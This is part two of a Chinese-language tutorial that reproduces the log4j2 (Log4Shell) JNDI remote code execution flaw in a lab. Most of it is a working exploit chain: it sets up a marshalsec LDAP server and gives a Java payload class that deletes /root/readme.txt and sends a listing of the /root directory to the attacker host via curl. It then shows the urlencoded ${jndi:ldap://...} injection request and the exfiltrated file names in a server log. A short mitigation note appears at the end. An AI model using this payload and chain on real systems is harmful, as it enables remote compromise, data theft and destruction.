关于log4j2远程代码执行漏洞详细复现过程( 二 )

 
模拟的修改个人简介功能非常简单,一个put请求将intro参数提交即可,注意通过url传参数的话需要使用urlencode后传输,使用mvn clean package 打包好应用上传,并直接在机器A(jianshu)的服务器部署运行即可java -jar jianshu-0.0.1-SNAPSHOT.jar,作为被攻击的机器就已经准备好了,可通过curl -X PUT http://192.168.80.136:8080/settings?intro=hacker-ha-ha-ha访问测试 。
此时在机器A(jianshu),ip192.168.80.136上的准备工作就完成了 。
 

  • 步骤2、机器B(hacker)上运行marshalsec/httpserver
 
① 下装并编译运行marshalsec工具,这是一个纯java写的将数据转换为可执行代码工具,github地址https://github.com/mbechler/marshalsec.git,直接使用maven编译源码mvn clean package -DskipTests,将编译后的应用包marshalsec-0.0.3-SNAPSHOT-all.jar上传到机器B(hacker)上运行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.80.133:8888/#Hacker" 9999 。
这一步的目的是在Hacker机器B上开启ldap服务,机器A中的应用参数intro如果定义为${jndi:ldap://192.168.80.133:9999/Hacker} ,则可访问到这个ldap服务,而参数"http://192.168.80.133:8888/#Hacker表示将请求重定向到此地址远程加载类Hacker,当然实际上ldap和放Hacker.class的httpserver服务器不需要放同一台机器 。
② 编写Hacker类如下
import java.io.File; import java.util.Arrays; import java.util.stream.Collectors; class Hacker { static { System.err.println("Hacker hahaha"); try { Runtime.getRuntime().exec("rm -rf /root/readme.txt"); File dir = new File("/root"); Runtime.getRuntime().exec("curl http://192.168.80.133:8888/" + Arrays.stream(dir.listFiles()).map(File::getName).collect(Collectors.joining(","))); } catch (Exception e) { e.printStackTrace(); } } }
这个Hacker恶意代码把机器A上的文件/root/readme.txt删除了,并且将/root目录下的文件文件名发送到攻击者的机器上 。编译好Hacker.class放到一个新建的目录/www中 。
③ 机器B新开一个命令窗口,进入到/www目录中,使用命令python -m SimpleHTTPServer 8888启动一个简单的httpserver,启动后使用浏览器访问http://192.168.80.133:8888/Hacker.class正常会提示下载类文件,保证jianshu服务器能从这个地址下载类即可 。
参数${jndi:ldap://192.168.80.133:9999/Hacker}通过urlencode后为%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D 访问修改个人简介进行攻击 curl -X PUT http://192.168.80.136:8080/settings?intro=%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D
此时python的httpserver日志可以看到以下输出
"GET /.bash_logout,.bash_profile,.bashrc,.cshrc,.tcshrc,anaconda-ks.cfg,.bash_history,jdk-8u151-linux-x64.tar.gz,jdk1.8.0_151,.oracle_jre_usage,jianshu-0.0.1-SNAPSHOT.jar HTTP/1.1" 404 -
Hacker机器上列出了jianshu机器/root目录下的文件,说明已经成功了 。
3、漏洞修复
具体的漏洞修复建议可参考一些官方的推荐做法,一种临时的改动是设置JVM启动参数-Dlog4j2.formatMsgNoLookups=true,此参数判断是否执行lookups 。
打开MessagePatternConverter的源码查看
关于log4j2远程代码执行漏洞详细复现过程

文章插图
 
在构造方法中初始化了参数noLookups
关于log4j2远程代码执行漏洞详细复现过程

文章插图
 
在常量中定义了默认值
关于log4j2远程代码执行漏洞详细复现过程

文章插图

【关于log4j2远程代码执行漏洞详细复现过程】


推荐阅读